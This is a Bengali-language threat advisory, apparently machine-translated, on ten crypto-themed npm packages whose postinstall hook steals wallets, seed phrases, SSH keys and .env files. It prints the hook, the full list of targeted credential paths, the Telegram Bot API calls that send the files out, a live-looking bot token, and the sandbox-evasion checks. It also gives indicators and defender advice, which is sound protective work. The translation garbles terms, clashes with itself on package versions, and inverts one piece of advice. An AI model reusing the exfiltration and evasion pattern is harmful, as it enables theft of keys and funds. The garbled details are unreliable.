TL; ডিআর
৯ জুন ২০২৬ তারিখে একটি একক এনপিএম পাবলিশার অ্যাকাউন্ট, aicrypto-xzgggপাঠানো হয়েছে দশটি প্যাকেজ ক্রিপ্টো- এবং ওয়েব৩-স্বাদের নাম সহ — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9এবং আরও ছয়টি।
প্রতিটি প্যাকেজ একটি থেকে একই পেলোড চালায়। postinstall হুক। ইনস্টলের সময়, এটি পরীক্ষা করে দেখে যে এটি CI (সিআই) নাকি স্যান্ডবক্সের ভিতরে চলছে — যদি তা না হয়, তবে এটি ওয়ালেট কীস্টোর, সিড-ফ্রেজ ফাইল, SSH কী এবং অন্যান্য ফাইল পড়ে। .env ছয়টি ব্লকচেইন ইকোসিস্টেম থেকে ফাইল সংগ্রহ করে একটি টেলিগ্রাম বটে প্রেরণ করে।
একজন ডিফেন্ডার তাৎক্ষণিকভাবে যে একমাত্র চিহ্নটি খুঁজে বের করতে পারেন, তা হলো টেলিগ্রাম বট আইডি। 8227918239.
নির্দয়তা: সংকটপূর্ণ — সাইনিং কী এবং রিকভারি ফ্রেজ সরাসরি চুরি ডেভেলপার ওয়ার্কস্টেশন.
আক্রমণ: এটি কীভাবে কাজ করে
প্যাকেজগুলো নিজেদেরকে ব্লকচেইন ডেভেলপার ইউটিলিটি হিসেবে বিজ্ঞাপন দেয়। package.json এটি সংক্ষিপ্ত এবং ইনস্টল জীবনচক্রকে একটি স্ক্রিপ্টের দিকে নির্দেশ করে:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js এটি একটি এক-লাইনের শিম যা আসল পেলোড লোড করে: require(“../src/index.js”)। কারণ পোস্টইনস্টল স্বয়ংক্রিয়ভাবে চলার সময় npm ইনস্টল করুনডেভেলপারের কোনো কোড ইম্পোর্ট করার প্রয়োজন নেই — প্যাকেজটিকে একটি ডিপেন্ডেন্সি ট্রিতে রাখলেই তা কার্যকর হয়।
ভিতরে কিল চেইন src/index.js চারটি ধাপ:
- পরিবেশ যাচাই। একটি গার্ড ফাংশন নির্ধারণ করে যে হোস্টটি বিল্ড এজেন্ট হিসেবে কাজ করবে নাকি অ্যানালাইসিস স্যান্ডবক্স হিসেবে।
- বিলম্ব। একটির পিছনে কার্য সম্পাদন স্থগিত করা হয়েছে সেট টাইমআউট প্রায় ৭.৪ সেকেন্ড।
- সংগ্রহ। ওয়ালেট, কী এবং সিক্রেট ফাইলের পাথের একটি নির্দিষ্ট তালিকা অনুসরণ করা হয়; বিদ্যমান ফাইলগুলো সারিবদ্ধ করা হয়।
- বহির্গমন। সারিতে থাকা ফাইলগুলো একটি সারসংক্ষেপ বার্তার পর একটি টেলিগ্রাম বটে পাঠানো হয়।
সংগ্রহের লক্ষ্য তালিকাটি ছয়টি চেইন এবং জেনেরিক ডেভেলপার সিক্রেটস জুড়ে বিস্তৃত। সংক্ষিপ্ত:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local মোট একুশটি পাথ। ডিরেক্টরি এন্ট্রি যেমন ~/.ethereum/keystore প্রসারিত করা হয় এবং এর ভেতরের প্রতিটি ফাইল সারিবদ্ধ করা হয়। এই তথ্য পাচার সরাসরি টেলিগ্রাম বট এপিআই ব্যবহার করে — একটি বার্তা পাঠান হোস্ট এবং ফাইল সারাংশ সহ কল করুন, তারপর একটি নথি পাঠান প্রতিটি ফাইলের জন্য মাল্টিপার্ট আপলোড:
পাঠ
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) কোডটি যে সারসংক্ষেপ বার্তাটি তৈরি করে তা আক্ষরিক স্ট্রিং দিয়ে শুরু হয়। ক্রিপ্টো স্টিলারএর পরে হোস্টনেম, ইউজারনেম, উৎস প্যাকেজের নাম, ফাইলের সংখ্যা এবং টাইমস্ট্যাম্প।
এখানে নতুন কী আছে
পার্থক্যকারীটি চুরির কৌশল নয় — এনপিএম থেকে টেলিগ্রাম-ভিত্তিক এক্সফিল পোস্টইনস্টল hooks এটি বহুল ব্যবহৃত। এটি হলো মৃত্যুদণ্ড কার্যকরের ফটক। কোনো কিছু করার আগে, পেলোডটি এমন একটি ফাংশনকে কল করে যা হোস্টটি সিআই রানার বা স্যান্ডবক্সের মতো হলে 'true' রিটার্ন করে, এবং সেরকম হলে সময়ের আগেই রিটার্ন করে:
পাঠ
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) কন্টেইনার-আইডি রেজেক্সটি হলো উল্লেখযোগ্য শর্ত: ডকার একটি কন্টেইনারকে ডিফল্টভাবে ১২টি হেক্স-ক্যারেক্টারের একটি হোস্টনেম কাঠামো বরাদ্দ করে। আধারতাই পেলোডটি “আমার হোস্টনেম একটি ডকার কন্টেইনারের মতো দেখাচ্ছে”—এই বিষয়টিকে নিষ্ক্রিয় থাকার একটি কারণ হিসেবে গণ্য করে। সাত-সেকেন্ডের বিলম্বের সাথে মিলিত হয়ে, এই ডিজাইনটি একজন ডেভেলপারের আসল ওয়ার্কস্টেশনে চলার পক্ষে কাজ করে এবং স্বয়ংক্রিয় বিশ্লেষণের মতো মনে হয় এমন যেকোনো জায়গায় চুপচাপ থাকে। ঐ গেটটিই ডাইনামিক-অ্যানালাইসিস সিগন্যালগুলোকে দমন করেছিল এবং স্ট্যাটিক এক্সফিল ফ্লো-কে দোষী সাব্যস্ত করার প্রধান প্রমাণ হিসেবে রেখেছিল।
Timeline
| তারিখ (UTC) | ঘটনা |
|---|---|
| 2026-06-09 ~02:48 | প্রকাশের সময় ক্লাস্টারের প্রথম প্যাকেজগুলিকে চিহ্নিত করা হয়েছে (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | উচ্চতর সংস্করণের সদস্যরা চিহ্নিত করা হয়েছে (ethereum-kit-9 1.25.36 এ, wallet-sdk-9 (১৯২৫.০০ এ) |
| 2026-06-09 ~03:58–03:59 | চূড়ান্ত সদস্যরা চিহ্নিত (defi-tools-39 4.26.29 এ, swap-sdk-87 4.63.78 এ, farming-tools-12 (১৯২৫.০০ এ) |
| 2026-06-09 | দশটিই ক্ষতিকর হিসেবে চিহ্নিত করা হয়েছে এবং রেজিস্ট্রি থেকে অপসারণের জন্য রিপোর্ট করা হয়েছে। |
প্রায় সত্তর মিনিটের মধ্যেই দশটিই প্রকাশ্যে আসে, যা একটি অ্যাকাউন্ট থেকে পূর্বপরিকল্পিতভাবে প্রকাশিত একটিমাত্র প্রকাশনার ধারার সাথে সামঞ্জস্যপূর্ণ।
সমঝোতার সূচক
নেটওয়ার্ক এবং আচরণগত সূচক (হোস্ট নিষ্ক্রিয়):
| ইনডিকেটর | মূল্য |
|---|---|
| এক্সফিল এন্ডপয়েন্ট | api[.]telegram[.]org (টেলিগ্রাম বট এপিআই) |
| টেলিগ্রাম বট আইডি | 8227918239 |
| বট টোকেন | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| টেলিগ্রাম চ্যাট আইডি | 6433587894 |
| হুক ইনস্টল করুন | postinstall → scripts/postinstall.js → src/index.js |
| মার্কার স্ট্রিং | CRYPTO STEALER একত্রিত সারসংক্ষেপ বার্তায় |
| প্রকাশক | aicrypto-xzggg (উল্লিখিত ইমেল) vipsyria88@gmail[.]com, যাচাই করা হয়নি) |
প্যাকেজ এবং সংস্করণ, যার প্রতিটির SHA-256 রয়েছে src/index.js পেলোড (পেলোডগুলো কার্যগতভাবে অভিন্ন এবং শুধুমাত্র অন্তর্নিহিত প্যাকেজ-নাম লেবেলে ভিন্ন, তাই প্রতিটি হ্যাশ স্বতন্ত্র):
| প্যাকেজ | সংস্করণ | src/index.js এর SHA-256 |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
একটি সহজ অনুসন্ধান পদ্ধতি হলো: ইনস্টল লগ এবং লকফাইলগুলিতে উল্লিখিত দশটি নামের যেকোনো একটির জন্য অনুসন্ধান করুন, এবং বিল্ড বা ডেভেলপার হোস্ট থেকে টেলিগ্রাম বট এপিআই-তে করা সংযোগগুলির জন্য আউটবাউন্ড ট্র্যাফিক অনুসন্ধান করুন, যেগুলি অন্য কোনো কাজে এটি ব্যবহার করে না।
আরোপণ এবং পর্যবেক্ষণকৃত আচরণ
সবগুলো দশটি প্যাকেজই একটি অ্যাকাউন্ট থেকে প্রকাশ করা হয়েছিল। aicrypto-xzgggযার উল্লিখিত ইমেল ঠিকানা হলো vipsyria88@gmail[.]comরেজিস্ট্রি মেটাডেটাতে ইমেল এবং সোর্স-কন্ট্রোল লিঙ্ক উভয়ই যাচাই করা হয়নি এবং অ্যাকাউন্টটির রেপুটেশন স্কোর অত্যন্ত নেতিবাচক। কে অ্যাকাউন্টটি পরিচালনা করে তা আমরা নিশ্চিত করতে পারিনি।
যেকোনো পরিচয় দাবি থেকে দুটি বিষয় আলাদা করে দেখা প্রয়োজন। প্রথমত, package.json লেখক ফিল্ড রিডস অ্যালেক্স স্মিথ প্রতিটি প্যাকেজে, যখন প্রকৃত প্রকাশনা অ্যাকাউন্টটি aicrypto-xzgggলেখক ক্ষেত্রটি হলো স্ব-ঘোষিত মেটাডেটা এবং এটি লেখকত্ব প্রতিষ্ঠা করে না। দ্বিতীয়ত, সংস্করণ নম্বরগুলো ব্যাপকভাবে ভিন্ন হয় — কিছু সদস্য অবস্থান করেন 1.0.0, অন্যরা 4.68.54 যা প্রকৃত রিলিজ ইতিহাস বজায় রাখার পরিবর্তে নতুন তৈরি করা প্যাকেজের নামগুলোতে একটিমাত্র পেলোড পুনঃব্যবহার করার সাথে সামঞ্জস্যপূর্ণ।
ক্লাস্টার জুড়ে আচরণটি অভিন্ন: একই টার্গেট পাথ তালিকা, একই টেলিগ্রাম বট আইডি এবং চ্যাট আইডি, একই এনভায়রনমেন্ট গেট, একই ক্রিপ্টো স্টিলার চিহ্নক। এই অভিন্নতাই প্যাকেজগুলোর মধ্যে সবচেয়ে শক্তিশালী যোগসূত্র। এটি একই অপারেটরের একটি সংকেত, কোনো অভিন্ন পরিচয় নয়।
ডিফেন্ডারদের জন্য প্রভাব, প্রবণতা এবং নির্দেশিকা
এর ঝুঁকি সুস্পষ্ট। কোনো ডেভেলপার যদি সফটওয়্যার ওয়ালেট, সিড-ফ্রেজ ফাইল বা এসএসএইচ কী ধারণকারী কোনো ওয়ার্কস্টেশনে এই প্যাকেজগুলোর কোনোটি ইনস্টল করেন, তবে কয়েক সেকেন্ডের মধ্যেই সেই ফাইলগুলো পড়া হয়ে যায় এবং হোস্টের বাইরে পাঠিয়ে দেওয়া হয়। রিকভারি ফ্রেজ এবং সাইনিং কী-এর মেয়াদ সেশন টোকেনের মতো শেষ হয়ে যায় না; একবার মেয়াদ শেষ হয়ে গেলে এগুলোর মেয়াদ আর থাকে না। স্মৃতিসহায়ক.txt অথবা একজন সোলানা id.json মেশিনটি ছেড়ে গেলে, এর নিয়ন্ত্রিত তহবিলগুলো সরানো না হওয়া পর্যন্ত ঝুঁকিতে থাকে। একই প্রক্রিয়া আরও ধারণ করে .env ফাইলগুলো, যেগুলোতে নিয়মিতভাবে এপিআই কী এবং ডাটাবেস ক্রেডেনশিয়াল থাকে।
এই ক্লাস্টারের পেছনে দুটি প্রবণতা কাজ করছে। প্রথমটি হলো একটি নির্দিষ্ট দর্শকগোষ্ঠীকে আকৃষ্ট করার জন্য ক্রিপ্টো- এবং ওয়েব৩-থিমযুক্ত নামের ক্রমাগত ব্যবহার — এই দর্শকগোষ্ঠী হলো সেইসব ডেভেলপার, যারা ডিপেন্ডেন্সি ইনস্টল করার মেশিনেই ওয়ালেট এবং কী রাখেন। দ্বিতীয়টি হলো ইনস্টল-টাইম পেলোডগুলিতে স্যান্ডবক্স এড়ানোর কৌশলের পরিপক্কতা। একটি গেট যা সিআই এনভায়রনমেন্ট ভেরিয়েবল, রানার ইউজারনেম এবং একটি ডকার কন্টেইনার-আইডি হোস্টনেম শেপ পরীক্ষা করে, তা একটি বাস্তব ওয়ার্কস্টেশনের চেয়ে বিশ্লেষণের সময় ভিন্নভাবে আচরণ করার একটি ইচ্ছাকৃত প্রচেষ্টা, এবং এটি সম্পূর্ণরূপে ডাইনামিক ডিটেকশনের মানদণ্ডকে আরও উন্নত করে।
প্রতিরক্ষাকারীদের জন্য:
ডিফল্টরূপে স্ক্রিপ্ট নিষ্ক্রিয় রেখে ইনস্টল করুন। npm install –ignore-scriptsঅথবা সেট ignore-scripts=true in .npmrc, প্রতিরোধ করে পোস্টইনস্টল নির্বাহ; শুধুমাত্র সেইসব নির্দিষ্ট নির্ভরতার জন্য স্ক্রিপ্ট সক্রিয় করুন যেগুলোর সত্যিই প্রয়োজন।
ওয়ালেট এবং সাইনিং কী বিল্ড ও ডেভেলপমেন্ট মেশিন থেকে দূরে রাখুন। একটি হার্ডওয়্যার ওয়ালেট অথবা একটি ডেডিকেটেড, নির্ভরশীলতামুক্ত সাইনিং হোস্ট ব্যবহার করুন।
আচরণ করা .envকীস্টোর এবং সিড-ফ্রেজ ফাইলগুলোকে অত্যন্ত মূল্যবান সম্পদ হিসেবে গণ্য করা হয়। এগুলো কখনোই এমন কোনো ডিরেক্টরিতে রাখা উচিত নয় যা নিজেও একটি npm ইনস্টল করুন কার্যকরী গাছ।
CI এবং ডেভেলপার হোস্ট থেকে টেলিগ্রাম বট এপিআই-তে বহির্গামী সংযোগগুলো খুঁজে বের করুন। বেশিরভাগ বিল্ড এনভায়রনমেন্ট এটি কখনোই কল করে না; কিন্তু ইনস্টলের ঠিক পরেই যদি কোনোটি হঠাৎ করে এটি কল করে, তবে তা খতিয়ে দেখা উচিত।
নির্ভরতাগুলো পিন ও পর্যালোচনা করুন। একটি জেনেরিক ক্রিপ্টো নামসহ একেবারে নতুন একটি প্যাকেজ, একটি পোস্টইনস্টল হুক, এবং কোনো রিপোজিটরি লিঙ্ক লকফাইলে প্রবেশের আগে খতিয়ে দেখার প্রয়োজন নেই।
কন্টেইনার-আইডি এড়ানোর শর্তটি বিশ্লেষকদের জন্যও একটি অনুস্মারক: একটি ইনস্টল-টাইম পেলোড যা স্যান্ডবক্সে নিষ্ক্রিয় থাকে, তা নিরীহ নয়, বরং এটি নির্বাচনী। ডাইনামিক এক্সিকিউশন যা দেখাতে অস্বীকার করতে পারে, তা দেখার জন্য ইনস্টল পাথের স্ট্যাটিক পর্যালোচনাই নির্ভরযোগ্য উপায়।
তথ্যসূত্র
npm install ডকুমেন্টেশন — লাইফসাইকেল স্ক্রিপ্ট এবং স্ক্রিপ্টগুলি উপেক্ষা করুনস্বয়ংক্রিয় ইনস্টল নিষ্ক্রিয় করার নির্দেশিকা hooks.





